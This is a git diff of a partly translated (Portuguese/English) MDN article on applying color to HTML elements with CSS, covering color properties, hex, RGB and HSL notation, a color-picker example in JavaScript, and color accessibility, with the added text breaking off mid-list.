A utilização de cor é uma forma fundamental da expressão humana. Children experiment with color before they even have the manual dexterity to draw. Maybe that's why color is one of the first things people often want to experiment with when learning to develop web sites. With CSS, there lots of ways to add color to your HTML elements to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML.

- -

Fortunately, adding color to your HTML is actually really easy to do, and you can add color to nearly anything.

- -

We're going to touch on most of what you'll need to know when using color, including a {{anch("Things that can have color", "list of what you can color and what CSS properties are involved")}}, {{anch("How to describe a color", "how you describe colors")}}, and how to actually {{anch("Using color", "use colors both in stylesheets and in scripts")}}. We'll also take a look at how to {{anch("Letting the user picka color", "let the user pick a color")}}.

- -

Then we'll wrap things up with a brief discussion of how to {{anch("Using color wisely", "use color wisely")}}: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities.

- -

Coisas que podem ter cor

- -

At the element level, everything in HTML can have color applied to it. Instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. For each, we'll see a list of the CSS properties that apply color to them.

- -

At a fundamental level, the {{cssxref("color")}} property defines the foreground color of an HTML element's content and the {{cssxref("background-color")}} property defines the element's background color. These can be used on just about any element.

- -

Texto

- -

Whenever an element is rendered, these properties are used to determine the color of the text, its background, and any decorations on the text.

- -
-
{{cssxref("color")}}
-
The color to use when drawing the text and any text decorations (such as the addition of under- or overlines, strike-through lines, and so forth.
-
{{cssxref("background-color")}}
-
The text's background color.
-
{{cssxref("text-shadow")}}
-
Configures a shadow effect to apply to text. Among the options for the shadow is the shadow's base color (which is then blurred and blended with the background based on the other parameters). See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.
-
{{cssxref("text-decoration-color")}}
-
By default, text decorations (such as underlines, strikethroughs, etc) use the color property as their colors. However, you can override that behavior and use a different color for them with the text-decoration-color property.
-
{{cssxref("text-emphasis-color")}}
-
The color to use when drawing emphasis symbols adjacent to each character in the text. This is used primarily when drawing text for East Asian languages.
-
{{cssxref("caret-color")}}
-
The color to use when drawing the {{Glossary("caret")}} (sometimes referred to as the text input cursor) within the element. This is only useful in elements that are editable, such as {{HTMLElement("input")}} and {{HTMLElement("textarea")}} or elements whose HTML {{htmlattrxref("contenteditable")}} attribute is set.
-
- -

Caixas

- -

Every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have.

- -
-
{{anch("Borders")}}
-
See the section {{anch("Borders")}} for a list of the CSS properties you can use to set the colors of a box's borders.
-
{{cssxref("background-color")}}
-
The background color to use in areas of the element that have no foreground content.
-
{{cssxref("column-rule-color")}}
-
The color to use when drawing the line separating columns of text.
-
{{cssxref("outline-color")}}
-
The color to use when drawing an outline around the outside of the element. This outline is different from the border in that it doesn't get space set aside for it in the document (so it may overlap other content). It's generally used as a focus indicator, to show which element will receive input events.
-
- -

Contornos

- -

Any element can have a border drawn around it. A basic element border is a line drawn around the edges of the element's content. See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article Styling borders using CSS to learn more about applying styles to borders.

- -

You can use the {{cssxref("border")}} shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its width, style (solid, dashed, etc.), and so forth.

- -
-
{{cssxref("border-color")}}
-
Specifies a single color to use for every side of the element's border.
-
{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}
-
Lets you set the color of the corresponding side of the element's border.
-
{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}
-
With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).
-
{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}
-
These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the border-inline-start-color is applied to the right side of the border.
-
- -

Outros modos para utilizar a cor

- -

CSS isn't the only web technology that supports color. There are graphics technologies that are available on the web which also support color.

- -
-
The HTML Canvas API
-
Lets you draw 2D bitmapped graphics in a {{HTMLElement("canvas")}} element. See our Canvas tutorial to learn more.
-
SVG (Scalable Vector Graphics)
-
Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are formatted as XML, and can be embedded directly into a web page or can be placed in he page using the {{HTMLElement("img")}} element, just like any other type of image.
-
WebGL
-
The Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the Web. See Learn WebGL for 2D and 3D graphics to find out more.
-
- -

Como descrever uma cor

- -

In order to represent a color in CSS, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use. This is typically done by breaking down the color into components, such as how much of each of a set of primary colors to mix together, or how bright to make the color. As such, there are several ways you can describe color in CSS.

- -

For more detailed discussion of each of the color value types, see the reference for the CSS {{cssxref("<color>")}} unit.

- -

Palavras-chave

- -

A set of standard color names have been defined, letting you use these keywords instead of numeric representations of colors if you choose to do so and there's a keyword representing the exact color you want to use. Color keywords include the standard primary and secondary colors (such as red, blue, or orange), shades of gray (from black to white, including colors like darkgray and lightgrey), and a variety of other blended colors including lightseagreen, cornflowerblue, and rebeccapurple.

- -

See {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} for a list of all available color keywords.

- -

Valores RGB

- -

There are three ways to represent an RGB color in CSS.

- -

Hexadecimal string notation

- -

Hexadecimal string notation represents a color using hexadecimal digits to represent each of the color components (red, green, and blue). It may also include a fourth compoment: the alpha channel (or opacity). Each color component can be represented as a number between 0 and 255 (0x00 and 0xFF) or, optionally, as a number between 0 and 15 (0x0 and 0xF). All components must be specified using the same number of digits. If you use the single-digit notation, the final color is computed by using each component's digit twice; that is, "#D" becomes "#DD" when drawing.

- -

A color in hexadecimal string notation always begins with the character "#". After that come the hexadecimal digits of the color code. The string is case-insensitive.

- -
-
"#rrggbb"
-
Specifies a fully-opaque color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
-
"#rrggbbaa"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
-
"#rgb"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
-
"#rgba"
-
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
-
- -

As an example, you can represent the opaque color bright blue as "#0000ff" or "#00f". To make it 25% opaque, you can use "#0000ff44" or "#00f4".

- -

RGB functional notation

- -

RGB (Red/Green/Blue) functional notation, like hexadecimal string notation, represents colors using their red, green, and blue components (as well as, optionally, an alpha channel component for opacity). However, instead of using a string, the color is defined using the CSS function {{cssxref("rgb()")}}. This function accepts as its input parameters the values of the red, green, and blue components and an optional fourth parameter, the value for the alpha channel.

- -

Legal values for each of these parameters are:

- -
-
red, green, and blue
-
Each must be an {{cssxref("<integer>")}} value between 0 and 255 (inclusive), or a {{cssxref("<percentage>")}} from 0% to 100%.
-
alpha
-
The alpha channel is a number between 0.0 (fully transparent) and 1.0 (fully opaque). You can also specify a percentage where 0% is the same as 0.0 and 100% is the same as 1.0.
-
- -

For example, a bright red that's 50% opaque can be represented as rgb(255, 0, 0, 0.5) or rgb(100%, 0, 0, 50%).

- -

Notação funcional de HSL

- -

Designers and artists often prefer to work using the {{interwiki("wikipedia", "HSL and HSV", "HSL")}} (Hue/Saturation/Luminosity) color method. On the web, HSL colors are represented using HSL functional notation. The hsl() CSS function is very similar to the rgb() function in usage otherwise.

- -
-
HSL color cylinder -
Figure 1. An HSL color cylinder. Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). Image courtesy of user SharkD on Wikipedia, distributed under the CC BY-SA 3.0 license.
-
-
- -

The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("<angle>")}} unit supported by CSS, including degrees (deg), radians (rad), gradians (grad), or turns (turn). But this doesn't control how vivid or dull, or how bright or dark the color is.

- -

The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.

- -

Think of it like creating the perfect paint color:

- -
    -
  1. You start with base paint that's the maximum intensity possible for a given color, such as  the most intense blue that can be represented by the user's screen. This is the hue (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.
  2. -
  3. Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.
  4. -
  5. Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.
  6. -
- -

You can also optionally include an alpha channel, to make the color less than 100% opaque.

- -

Here are some sample colors in HSL notation:

- -
- - -

{{EmbedLiveSample("hsl-swatches", 300, 260)}}

-
- -
-

Note that when you omit the hue's unit, it's assumed to be in degrees (deg).

-
- -

Utilizar a cor

- -

Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.

- -

Especificar cores nas folhas de estilo

- -

The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.

- -

Let's take a look at an example, starting by looking at the results we're trying to achieve:

- -
{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}
- -

HTML

- -

The HTML responsible for creating the above example is shown here:

- -
<div class="wrapper">
-  <div class="box boxLeft">
-    <p>
-      This is the first box.
-    </p>
-  </div>
-  <div class="box boxRight">
-    <p>
-      This is the second box.
-    </p>
-  </div>
-</div>
- -

This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <div>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.

- -

The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.

- -

CSS

- -

We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.

- -
.wrapper {
-  width: 620px;
-  height: 110px;
-  margin: 0;
-  padding: 10px;
-  border: 6px solid mediumturquoise;
-}
- -

The .wrapper class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.

- -

Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color mediumturquoise.

- -

Our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties:

- -
.box {
-  width: 290px;
-  height: 100px;
-  margin: 0;
-  padding: 4px 6px;
-  font: 28px "Marker Felt", "Zapfino", cursive;
-  display: flex;
-  justify-content: center;
-  align-items: center;
-}
- -

In brief, .box establishes the size of each box, as well as the configuration of the font used within. We also take advantage of CSS Flexbox to easily center the contents of each box. We enable flex mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to center. Then we can create a class for each of the two boxes that defines the propeties that differ between the two.

- -
.boxLeft {
-  float: left;
-  background-color: rgb(245, 130, 130);
-  outline: 2px solid darkred;
-}
- -

The .boxLeft class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:

- - - -
.boxRight {
-  float: right;
-  background-color: hsl(270deg, 50%, 75%);
-  outline: 4px dashed rgb(110, 20, 120);
-  color: hsl(0deg, 100%, 100%);
-  text-decoration: underline wavy #88ff88;
-  text-shadow: 2px 2px 3px black;
-}
- -

Finally, the .boxRight class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:

- - - -

Deixar que o utilizador escolha uma cor

- -

There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using "color" as the value of its {{htmlattrxref("type", "input")}} attribute.

- -

The <input> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.

- -

Exemplo: Escolher uma cor

- -

Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.

- -

{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}

- -
-

On macOS, you indicate that you've finalized selection of the color by closing the color picker window.

-
- -

HTML

- -

The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.

- -
<div id="box">
-  <label for="colorPicker">Border color:</label>
-  <input type="color" value="#8888ff" id="colorPicker">
-  <p id="output"></p>
-</div>
- -

CSS

- -

The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...

- -
#box {
-  width: 500px;
-  height: 200px;
-  border: 2px solid rgb(245, 220, 225);
-  padding: 4px 6px;
-  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
-}
- -

JavaScript

- -

The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <input type="color"> element.

- -
let colorPicker = document.getElementById("colorPicker");
-let box = document.getElementById("box");
-let output = document.getElementById("output");
-
-box.style.borderColor = colorPicker.value;
-
-colorPicker.addEventListener("input", function(event) {
-  box.style.borderColor = event.target.value;
-}, false);
-
-colorPicker.addEventListener("change", function(event) {
-  output.innerText = "Color set to " + colorPicker.value + ".";
-}, false);
- -

The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.

- -

The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <p> element with the ID "output" to a string describing the finally selected color.

- -

Utilizar a cor com sabedoria

- -

Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.

- -

Encontrar as cores corretas

- -

Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.

- -

Cor base

- -

The first step is to choose your base color. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:

- - - -

When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site ColorZilla offers an extension (Chrome / Firefox) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.

- -
-

The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.

-
- -

Fleshing out the palette

- -

Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.

- -

A few examples (all free to use as of the time this list was last revised):

- - - -

When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.

- -
-

Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.

-
- -

Color theory resources

- -

A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:

- -
-
Color Science (Khan Academy in association with Pixar)
-
An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.
-
{{interwiki("wikipedia", "Color theory")}} on Wikipedia
-
Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.
-
- -

Cor e acessibilidade

- -

There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.

- -

You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.

- -
-

The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.

-
- -

For more information about color blindness, see the following articles:

- - - -

Exemplo da paleta de desenho

- -

Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a Google search for photos of Mars. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.

- -

Using an eyedropper tool, we identify a color we like and determine that the color in question is #D79C7A, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.

- -

Having selected our base color, we need to build out our palette. We decide to use Paletteon to come up with the other colors we need. Upon opening Paletton, we see:

- -

Right after loading Paletton.

- -

Next, we enter our color's hex code (D79C7A) into the "Base RGB" box at the bottom-left corner of the tool:

- -

After entering base color

- -

We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is #508D7C.

- -

Now with complementary colors included.

- -

If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:

- -

Triad color scheme selected

- -

That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's #556E8D. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:

- -

Triad color scheme selected

- -

Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.

- -

Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.

- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/html/applying_color/index.html b/files/pt-pt/web/html/applying_color/index.html new file mode 100644 index 0000000000..2aaefab31d --- /dev/null +++ b/files/pt-pt/web/html/applying_color/index.html @@ -0,0 +1,581 @@ +--- +title: Aplicar cor aos elementos de HTML utilizando CSS +slug: Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS +tags: + - CSS + - Cores de CSS + - Cores de HTML + - Estilo de HTML + - Estilos de HTML + - Guía + - HTML + - Principiante + - cor +translation_of: Web/HTML/Applying_color +--- +
{{HTMLRef}}
+ +

A utilização de cor é uma forma fundamental da expressão humana. Children experiment with color before they even have the manual dexterity to draw. Maybe that's why color is one of the first things people often want to experiment with when learning to develop web sites. With CSS, there lots of ways to add color to your HTML elements to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML.

+ +

Fortunately, adding color to your HTML is actually really easy to do, and you can add color to nearly anything.

+ +

We're going to touch on most of what you'll need to know when using color, including a {{anch("Things that can have color", "list of what you can color and what CSS properties are involved")}}, {{anch("How to describe a color", "how you describe colors")}}, and how to actually {{anch("Using color", "use colors both in stylesheets and in scripts")}}. We'll also take a look at how to {{anch("Letting the user picka color", "let the user pick a color")}}.

+ +

Then we'll wrap things up with a brief discussion of how to {{anch("Using color wisely", "use color wisely")}}: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities.

+ +

Coisas que podem ter cor

+ +

At the element level, everything in HTML can have color applied to it. Instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. For each, we'll see a list of the CSS properties that apply color to them.

+ +

At a fundamental level, the {{cssxref("color")}} property defines the foreground color of an HTML element's content and the {{cssxref("background-color")}} property defines the element's background color. These can be used on just about any element.

+ +

Texto

+ +

Whenever an element is rendered, these properties are used to determine the color of the text, its background, and any decorations on the text.

+ +
+
{{cssxref("color")}}
+
The color to use when drawing the text and any text decorations (such as the addition of under- or overlines, strike-through lines, and so forth.
+
{{cssxref("background-color")}}
+
The text's background color.
+
{{cssxref("text-shadow")}}
+
Configures a shadow effect to apply to text. Among the options for the shadow is the shadow's base color (which is then blurred and blended with the background based on the other parameters). See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.
+
{{cssxref("text-decoration-color")}}
+
By default, text decorations (such as underlines, strikethroughs, etc) use the color property as their colors. However, you can override that behavior and use a different color for them with the text-decoration-color property.
+
{{cssxref("text-emphasis-color")}}
+
The color to use when drawing emphasis symbols adjacent to each character in the text. This is used primarily when drawing text for East Asian languages.
+
{{cssxref("caret-color")}}
+
The color to use when drawing the {{Glossary("caret")}} (sometimes referred to as the text input cursor) within the element. This is only useful in elements that are editable, such as {{HTMLElement("input")}} and {{HTMLElement("textarea")}} or elements whose HTML {{htmlattrxref("contenteditable")}} attribute is set.
+
+ +

Caixas

+ +

Every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have.

+ +
+
{{anch("Borders")}}
+
See the section {{anch("Borders")}} for a list of the CSS properties you can use to set the colors of a box's borders.
+
{{cssxref("background-color")}}
+
The background color to use in areas of the element that have no foreground content.
+
{{cssxref("column-rule-color")}}
+
The color to use when drawing the line separating columns of text.
+
{{cssxref("outline-color")}}
+
The color to use when drawing an outline around the outside of the element. This outline is different from the border in that it doesn't get space set aside for it in the document (so it may overlap other content). It's generally used as a focus indicator, to show which element will receive input events.
+
+ +

Contornos

+ +

Any element can have a border drawn around it. A basic element border is a line drawn around the edges of the element's content. See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article Styling borders using CSS to learn more about applying styles to borders.

+ +

You can use the {{cssxref("border")}} shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its width, style (solid, dashed, etc.), and so forth.

+ +
+
{{cssxref("border-color")}}
+
Specifies a single color to use for every side of the element's border.
+
{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}
+
Lets you set the color of the corresponding side of the element's border.
+
{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}
+
With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).
+
{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}
+
These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the border-inline-start-color is applied to the right side of the border.
+
+ +

Outros modos para utilizar a cor

+ +

CSS isn't the only web technology that supports color. There are graphics technologies that are available on the web which also support color.

+ +
+
The HTML Canvas API
+
Lets you draw 2D bitmapped graphics in a {{HTMLElement("canvas")}} element. See our Canvas tutorial to learn more.
+
SVG (Scalable Vector Graphics)
+
Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are formatted as XML, and can be embedded directly into a web page or can be placed in he page using the {{HTMLElement("img")}} element, just like any other type of image.
+
WebGL
+
The Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the Web. See Learn WebGL for 2D and 3D graphics to find out more.
+
+ +

Como descrever uma cor

+ +

In order to represent a color in CSS, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use. This is typically done by breaking down the color into components, such as how much of each of a set of primary colors to mix together, or how bright to make the color. As such, there are several ways you can describe color in CSS.

+ +

For more detailed discussion of each of the color value types, see the reference for the CSS {{cssxref("<color>")}} unit.

+ +

Palavras-chave

+ +

A set of standard color names have been defined, letting you use these keywords instead of numeric representations of colors if you choose to do so and there's a keyword representing the exact color you want to use. Color keywords include the standard primary and secondary colors (such as red, blue, or orange), shades of gray (from black to white, including colors like darkgray and lightgrey), and a variety of other blended colors including lightseagreen, cornflowerblue, and rebeccapurple.

+ +

See {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} for a list of all available color keywords.

+ +

Valores RGB

+ +

There are three ways to represent an RGB color in CSS.

+ +

Hexadecimal string notation

+ +

Hexadecimal string notation represents a color using hexadecimal digits to represent each of the color components (red, green, and blue). It may also include a fourth compoment: the alpha channel (or opacity). Each color component can be represented as a number between 0 and 255 (0x00 and 0xFF) or, optionally, as a number between 0 and 15 (0x0 and 0xF). All components must be specified using the same number of digits. If you use the single-digit notation, the final color is computed by using each component's digit twice; that is, "#D" becomes "#DD" when drawing.

+ +

A color in hexadecimal string notation always begins with the character "#". After that come the hexadecimal digits of the color code. The string is case-insensitive.

+ +
+
"#rrggbb"
+
Specifies a fully-opaque color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
+
"#rrggbbaa"
+
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
+
"#rgb"
+
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb.
+
"#rgba"
+
Specifies a color whose red component is the hexadecimal number 0xrr, green component is 0xgg, and blue component is 0xbb. The alpha channel is specified by 0xaa; the lower this value is, the more translucent the color becomes.
+
+ +

As an example, you can represent the opaque color bright blue as "#0000ff" or "#00f". To make it 25% opaque, you can use "#0000ff44" or "#00f4".

+ +

RGB functional notation

+ +

RGB (Red/Green/Blue) functional notation, like hexadecimal string notation, represents colors using their red, green, and blue components (as well as, optionally, an alpha channel component for opacity). However, instead of using a string, the color is defined using the CSS function {{cssxref("rgb()")}}. This function accepts as its input parameters the values of the red, green, and blue components and an optional fourth parameter, the value for the alpha channel.

+ +

Legal values for each of these parameters are:

+ +
+
red, green, and blue
+
Each must be an {{cssxref("<integer>")}} value between 0 and 255 (inclusive), or a {{cssxref("<percentage>")}} from 0% to 100%.
+
alpha
+
The alpha channel is a number between 0.0 (fully transparent) and 1.0 (fully opaque). You can also specify a percentage where 0% is the same as 0.0 and 100% is the same as 1.0.
+
+ +

For example, a bright red that's 50% opaque can be represented as rgb(255, 0, 0, 0.5) or rgb(100%, 0, 0, 50%).

+ +

Notação funcional de HSL

+ +

Designers and artists often prefer to work using the {{interwiki("wikipedia", "HSL and HSV", "HSL")}} (Hue/Saturation/Luminosity) color method. On the web, HSL colors are represented using HSL functional notation. The hsl() CSS function is very similar to the rgb() function in usage otherwise.

+ +
+
HSL color cylinder +
Figure 1. An HSL color cylinder. Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). Image courtesy of user SharkD on Wikipedia, distributed under the CC BY-SA 3.0 license.
+
+
+ +

The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("<angle>")}} unit supported by CSS, including degrees (deg), radians (rad), gradians (grad), or turns (turn). But this doesn't control how vivid or dull, or how bright or dark the color is.

+ +

The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.

+ +

Think of it like creating the perfect paint color:

+ +
    +
  1. You start with base paint that's the maximum intensity possible for a given color, such as  the most intense blue that can be represented by the user's screen. This is the hue (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.
  2. +
